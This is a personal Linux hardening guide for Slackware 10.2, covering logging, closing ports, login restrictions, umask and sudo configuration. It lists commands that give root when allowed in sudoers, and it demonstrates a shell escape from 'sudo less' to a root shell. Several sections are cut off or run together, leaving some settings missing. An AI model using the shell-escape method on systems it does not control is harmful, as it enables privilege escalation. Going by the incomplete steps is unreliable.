This is written for:

$ cat /etc/slackware-version
Slackware 10.2.0

This is a list of some of the steps I take to improve the security on my
Slackware systems. It is by no means a complete list of everything that is
possible. You can either do all of the things listed here, or you can choose
the ones you feel would help secure your system.

WARNING: Hardening a system is a compromise between security
and usability. Some of the things I do would adversely
affect the usability of your system and may very well
break things. Please have one of the following on hand
just in case you lock yourself out of your system:

Tom's Rootboot - http://www.toms.net/rb/

The "Live" CD that comes with the official
version of Slackware

The Slackware Install CDs

You should make a backup of anything that you feel is
important, would be hard to replace, or that you simply
could not do without BEFORE implementing anything listed
here.

If you don't understand what a setting or configuration
is doing, don't use it on your system.

The contents of this document is only meant to be used
on Slackware Linux.

Some of the settings are redundant (defense in depth) or
may conflict.

You have been warned.

Notes:
- The settings assume that only one user is on the system, "dentonj",
adjust as necessary.
- Associated man pages are listed for further information
- I will comment this document if I ever get around to it
- This is still a draft as there are many TODO items.

----[ Logging ]----

/etc/rc.d/rc.syslog:
/usr/sbin/syslogd -m 10 -r -h
/usr/sbin/klogd -c 3 -x -p

root@darkstar:~# /etc/rc.d/rc.syslog restart

The "-r" options enables the system to receive syslog messages from the
remote hosts. The "-h" option allows syslog to forward messages it
receives from remote hosts. The allows syslog messages to be logged on
several systems for redundancy. Syslog messages that are sent over the
network are not encrypted and can be easily captured. Watch out for syslog
forwarding loops when using both "-r" and "-h".

Opens UDP port 514.

man syslogd
man klogd

/etc/syslog.conf

root@darkstar:~# /etc/rc.d/rc.syslog restart

man syslogd
man syslog.conf

/etc/logrotate.conf:
weekly
rotate 26
compress

Make sure you have enough hard drive space to store 6 months worth of logs.
You really should be moving the logs off of the system.

man logrotate

root@darkstar:~# lilo -v -p

If lilo returns an error, try to determine what the problem is and rerun
lilo before you reboot the system. Otherwise, you may end up with a
system that doesn't boot properly.

man issue
man motd

/etc/rc.d/rc.local:
# Log icmp packets to syslog
/usr/sbin/icmpinfo -vvv -s -l

man icmpinfo

/sbin/accton:
Account processing is turned on by /etc/rc.d/rc.M. However, the log file
doesn't exist.

root@darkstar:~# touch /var/log/pacct

man ac
man 2 acct
man 5 acct
man accton
man sa
man lastcomm

/etc/rc.d/rc.M:
Increase logging in cron.

/usr/sbin/crond -l7 >> /var/log/cron 2>&1

man crond

/var/log/btmp:
The btmp log file contains all of the failed login attempts. The command
lastb lists the contents of the log file.

root@darkstar:~# touch /var/log/btmp
root@darkstar:~# chmod --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# chown --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# ln -s /usr/bin/last /usr/bin/lastb
root@darkstar:~# lastb

Users that try to login by entering their password first will end up with
it being logged in /var/log/btmp and displayed by lastb.

man last

----[ Disable Daemons/Close Ports ]----

/etc/inetd.conf:
The following are running by default:
time - TCP port 37
time - UDP port 37
auth - TCP port 113
comsat - UDP port 512

Comment out the lines of the services that you don't need.

root@darkstar:~# grep -v "^#" /etc/inetd.conf

man inetd
man in.comsat
man in.identd
man grep

/etc/rc.d/rc.inetd:

root@darkstar:~# chmod a-x /etc/rc.d/rc.inetd

man inetd
man chmod

/usr/X11R6/bin/startx:
defautserverargs="-nolisten tcp"

Closes TCP port 6000+n, where n is $DISPLAY (the default is 0).

man Xserver

/etc/X11/xdm/Xservers:
:0 local /usr/X11R6/bin/X -nolisten tcp

Closes TCP port 6000.

man Xserver
man xdm

/etc/X11/xdm/Xaccess:
Make sure everything is commented.

man xdm

/etc/rc.d/rc.4:
exec /usr/X11R6/bin/xdm -nodaemon -udpPort 0

Closes UDP port 177.

man xdm

/etc/X11/fs/config:
use-syslog = yes
no-listen = tcp

Closes TCP port 7100.

man xfs

/etc/rc.d/rc.inet2:
Most of the rc.scripts are started here. From the script:

"Uncomment or comment out sections depending on which
services you site requires."

There are two ways to stop daemons and services from being started. The
first way is to make the script starting the daemon or service non-
executable:

chmod 600 /etc/rc.d/rc.bind

The second way is to comment out the sections of this script that starts
the daemon or service:

Lines 100-103:
# Start the BIND name server daemon:
# if [ -x /etc/rc.d/rc.bind ]; then
# /etc/rc.d/rc.bind start
# fi

Or you can do both. Using both methods is redundant. However, using both
methods would keep daemons from accidentally being started at the next
reboot if you happen to get sloppy with a chmod command. Some daemons will
not start by default because their configuration files are either not
present or not setup properly.

Closes TCP ports 37 and 113 (by default).
Closes UDP ports 37 and 512 (be default).

/etc/rc.d/rc.mysqld:
The MySQL server daemon

By default, mysqld will not start. Read the /etc/rc.d/rc.mysqld file for
details on how to start the daemon.

The script prevents incoming network connections by default with the
"--skip-networking" option. If this option is commented out, TCP port
3306 will be opened.

This daemon doesn't open any ports by default.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.mysqld

/etc/rc.d/rc.nfsd:
The kfnsd NFS daemon

By default, the deamon will not start because the file /etc/exports is not
configured properly.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.nfsd

/etc/rc.d/rc.portmap:
The RPC portmapper

This script is started by /etc/rc.d/rc.nfsd. Since the file /etc/exports

Closes TCP port 22.

/etc/rc.d/rc.syslog:
The system logging daemon

If the "-r" option is used, UDP port 514 is opened.

This daemon doesn't open any ports by default.

root@darkstar:~# chmod 600 /etc/rc.d/rc.syslog

/etc/rc.d/rc.sysvinit:
"This file provides basic compatibility with SystemV style startup
scripts."

Unless you have installed a daemon that requires the use of SystemV
style startup scripts, there is no need for it to be executable.

root@darkstar:~# chmod 600 /etc/rc.d/rc.sysvinit

/etc/rc.d/rc.udev:
"udev provides a dynamic device directory containing only the files for
actually present devices. It creates and removes device node files
usually located in the /dev directory."

This is part of the hotplug subsystem.

This daemon doesn't open any ports.

root@darkstar:~# chmod 600 /etc/rc.d/rc.udev

man udev

/etc/rc.d/rc.wireless.conf:
This file holds the configuration settings used by /etc/rc.d/rc.wireless.
The file may hold encryption keys in plain text. Make sure that users
are not able read this file (the default setting).

root@darkstar:~# chmod 600 /etc/rc.d/rc.wireless.conf

/etc/rc.d/rc.yp:
The Network Information Service

The contents of this file is commented out by default.

root@darkstar:~# chmod 600 /etc/rc.d/rc.yp

----[ Limit Access ]----

/etc/rc.d/rc.M:
chmod 1733 /tmp /var/tmp

Prevents users for looking at the contents of those directories. It still
allows them to create, access, and modify files in those directories if
they know the actual file name. This does not stop users from running
executables in /tmp.

dentonj@darkstar:~$ ls -ld /tmp
drwx-wx-wt 5 root root 4096 2001-06-27 12:54 /tmp/
dentonj@darkstar:~$ cp /bin/date /tmp/test
dentonj@darkstar:~$ /tmp/test
Thu Jun 27 12:55:00 MST 2001
dentonj@darkstar:~$ ls /tmp
ls: /tmp: Permission denied

man chmod

/etc/rc.d/rc.S:
chmod 1733 /tmp/.ICE-unix
chmod 1733 /tmp/.X11-unix

Don't let everyone have read access to utmp:

chmod 660 /var/run/utmp

man utmp
man chmod

/etc/lilo.conf:
# mandatory - enter a password with every boot
# restricted - enter a password only when a boot time parameter
# is used (e.g. - "linux single")
# Pick one
mandatory
#restricted

# Use the "-p" option with the lilo command to store the hashed password
# in a separate file
password=""

prompt
timeout=0
menu-title="Unauthorized Access Prohibited"
message=/boot/boot_message.txt
serial=0,9600n8

root@darkstar:~# lilo -v -p
root@darkstar:~# chmod go-rwx /etc/lilo.conf

Using the setting 'password=""' and then the '-p' option with lilo will
prompt you to enter a pass phrase while lilo is running. The pass phrase
is hashed and stored in /etc/lilo.conf.shs. The man page for lilo claims
that the hashed pass phrase is stored in /etc/lilo.conf.crc. Either way,
it's better than having the password listed in /etc/lilo.conf in plain
text. The configuration options above will require the password to be
entered whenever the system boots. You may not want to use the "mandatory"
setting if uptime is important or when you normally only access the system
remotely. In these cases, use "restricted" instead.

man lilo
man lilo.conf

/etc/login.access:

Only root and dentonj can login locally. This does not affect logging in
via ssh.

root@darkstar:~# chmod go-rwx /etc/suauth

Only dentonj is allowed to switch users. Or, only members of the wheel
group can switch users.

Error generated: "Access to su to that account DENIED."

/etc/porttime:
tty1,tty2,tty3,tty4,tty5,tty6:root,dentonj:Al0000-2400
*:*:

root@darkstar:~# chmod go-rwx /etc/porttime

The third field specifies when someone can login. If the field is empty,
then the user is not able to login. The "*:*:" entry is a default deny
rule to catch everyone not already listed. The third field lists the times
that a user is allowed to login. If that field is empty, the user is not
allowed to login.

The daemon logoutd is normally run to enforce the login time restrictions
listed in /etc/porttime.

Error generated: "Invalid login time"

man porttime

/etc/rc.d/rc.local:
# Enforce login time restrictions set in /etc/porttime

man logoutd

/etc/limits:
dentonj C0L1
* L0

root@darkstar:~# chmod go-rwx /etc/limits

The setting "* L0" is a default rule for anyone not previously listed. The
number of logins permitted is set to zero, which means anyone not
previously listed is not allowed to login. This does not affect root.

Error generated: "Too many logins."

man limits

/etc/shells:
Allowing users to run different shells allows them to bypass any security
restrictions set on their login shell.

Delete the following:
/bin/ash
/bin/csh
/bin/ksh
/bin/tcsh
/bin/zsh

root@darkstar:~# removepkg ash

man shells

/usr/sbin/faillog:
root@darkstar:~# faillog -u dentonj -m 10
root@darkstar:~# faillog -a

Don't set faillog for root. This is one of the few settings that can
actually stop root from logging in. Using faillog can cause a denial of
service if the maximum number of logins is reached. Use faillog with
caution.

Error generated: "Login incorrect"

man faillog

Welcome to Linux 2.4.32 (tty2)

darkstar login:

Password aging:
Note: Don't use this if you like to make the /etc/passwd and the
/etc/shadow files immutable (chattr +i ...). It gets ugly... If you
let the password expire, you will not be able to login until you reset
the password. But if the /etc/shadow file is immutable and cannot be
changed, then you will not be able to login. To fix the problem, you
would have to boot tomsrtbt or a Linux boot CD, mount the hard drive
partition where /etc is located, and remove the immutable attribute
from /mnt/etc/shadow (chattr -i ...).

There are a number a security concerns when allowing users to use sudo.
Make sure you completely read the man pages for sudo and sudoers.

There are generally two approaches when configuring sudo. The first is to
allow the user to run any command. This is essentially giving them su
access to root. If you are going to use the first approach, you should
require the user to enter the root password every time they use sudo.
Two passwords would need to be entered to gain root access.

The second approach is to configuring sudo is to only allow a limited
number of commands to be run. If you are going to use the second approach,
there are a few commands that you don't want to allow the user to run.
These commands can be abused to give the user full access to the system.
Make sure you don't add the following or those listed in the Shell Escapes
section below to the /etc/sudoers file:

/bin/cat
/bin/chmod
/bin/chown
/bin/cpio
/bin/mount
/bin/rpm
/bin/tar
/sbin/installpkg
/usr/bin/env
/usr/sbin/useradd
/usr/sbin/usermod

This list should be much longer.

/etc/ftpusers:
This file is used to deny anyone listed from being able to log into the

I actually don't think this is necessary. But I'm including it because
just about every security document on Linux recommends it. It stops anyone
from being able to reboot the system by doing a three finger salute.
Pressing Ctrl-Alt-Del to reboot the system only works if you have physical
access to the system. Even if you disable this feature, it doesn't stop
someone from pulling the power cord or pressing the reset switch to force a
reboot. Most window managers trap Ctrl-Alt-Del anyways.

The only time that I see disabling the above line as being useful is when
you have a Windows admin using Linux. You don't want them rebooting the
system every time they want to lock the system or go to the Task Manager.

Or you can use /etc/shutdown.allow to control when (not exactly by who) the
system can be rebooted with Ctrl-Alt-Del. There are security concerns with
using this method. Check the man page for shutdown for details.

[/rant]

Add "-a" to the following line in /etc/inittab to use
/etc/shutdown.allow:

ca::ctraltdel:/sbin/shutdown -t5 -r now -a

root@darkstar:~# telinit q

umask:
There are several ways to set umask:

/etc/login.defs:
UMASK 077

/etc/limits:
* K077

/etc/profile:
umask 077

Umask controls what the initial permissions are for newly created files and
directories. With a umask of 022, new files have the permissions of 644
and new directories have the permissions of 755. Setting the umask to 077
will result in new files being created with the permissions of 600 and new
directories will have the permissions of 700.

Using the umask of 077 will keep others from being able to access users
files. Using a umask of 022 will allow others access to the users files
unless the users takes the time to change the permissions. You can use
cron to periodically remove permissions from the user's home directories.

Setting a restrictive umask can cause problems when you commonly edit
or create files that need to be read accessable to everyone. An example
of files that everyone needs to be able to read are web server pages
located in /var/www/htdocs.

dentonj@darkstar:~$ type -a umask

Shell Escapes:
The following is a list of programs that can escape to a shell. This can
either be done by directly starting a new shell, executing shell commands
(which is used to start a shell), or by opening an text editor that can be
used to start a shell.

These programs are not a security concern by themselves. However, if they
are set SUID root or used with sudo, the programs can allow users access to
a root shell.

/etc/sudoers:
dentonj ALL = (ALL) /usr/bin/less /var/log/messages

Start a new shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
!
bash-3.00#

Open an editor that can start a new shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
v
:sh
bash-3.00#

Make sure these are not SUID and owned by root. Also make sure they don't
end up in /etc/sudoers. This list is not complete.

It would be a good idea to run `chattr +i ...` on all of the original files.

Passwords in logs and history files:
It's not uncommon for someone to make a mistake while logging in or
switching users and type the password in the wrong place. Be aware that
"dumpster diving" in system logs and other users history files is a common
practice by evil doers to obtain passwords. Keep this in mind when
deciding to store 6 months worth of logs or when setting HISTFILESIZE to a
$LARGENUMBER.

$HOME/.forward:
The .forward file allows users to easily forward email. However, the
file can also be used to run a program every time an email is received.
There are several ways to disable use of the .forward file.

Set the ForwardPath option so that it points to something other than
the default. The option has to be set to something, otherwise sendmail
sets ForwardPath to $HOME/.forward.

O ForwardPath=/etc/forward

You can allow programs to be run, but restrict which ones can be run by
using smrsh.

You can disable forwarding in sendmail all together. However, the bat
book warns that Bad Things(TM) can happen is you completely disable
forwarding. Remove the "w" flag from the line located in
/etc/mail/sendmail.cf:

Mlocal, P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=.....

Mlocal, P=/usr/bin/procmail, F=lsDFMA5:/|@qSPfhn9, S=.....

You can try to have root create and own the .forward file in each of
the user's home directories. But the user can move the .forward file
and create a new file.

root@darkstar:~# touch /home/dentonj/.forward
dentonj@darkstar:~$ ls -l .forward
-rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward

dentonj@darkstar:~$ ls -l .forward.moved
-rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward.moved

However, making the file immutable stops this.

----[ Usibility/Reducing Security ]----

Run X applications as root:
The Linux Security Cookbook contains a short script that will set DISPLAY
and XAUTHORITY to allow root to run X apps. Or you can cheat by setting
DISPLAY and HOME to accomplish the same thing.

root@darkstar:~# xv
xv: Can't open display
root@darkstar:~# DISPLAY=:0.0
root@darkstar:~# xv
Xlib: connection to ":0.0" refused by server
Xlib: Invalid MIT-MAGIC-COOKIE-1 key
xv: Can't open display
root@darkstar:~# HOME=/home/dentonj
root@darkstar:~# xv

A better way is to use xauth and set the MIT-MAGIC-COOKIE:

root@darkstar:~# xauth -f /home/dentonj/.Xauthority extract - :0 | \
xauth merge -
root@darkstar:~# xauth list
darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789
dentonj@darkstar:~$ xauth list
darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789
localhost:0 MIT-MAGIC-COOKIE-1 9876543219fedcba9876543210fedcba

You still have to set DISPLAY for root. Be aware that setting DISPLAY in a
shell config file (e.g. - /etc/profile) may cause problems with X
forwarding in ssh.
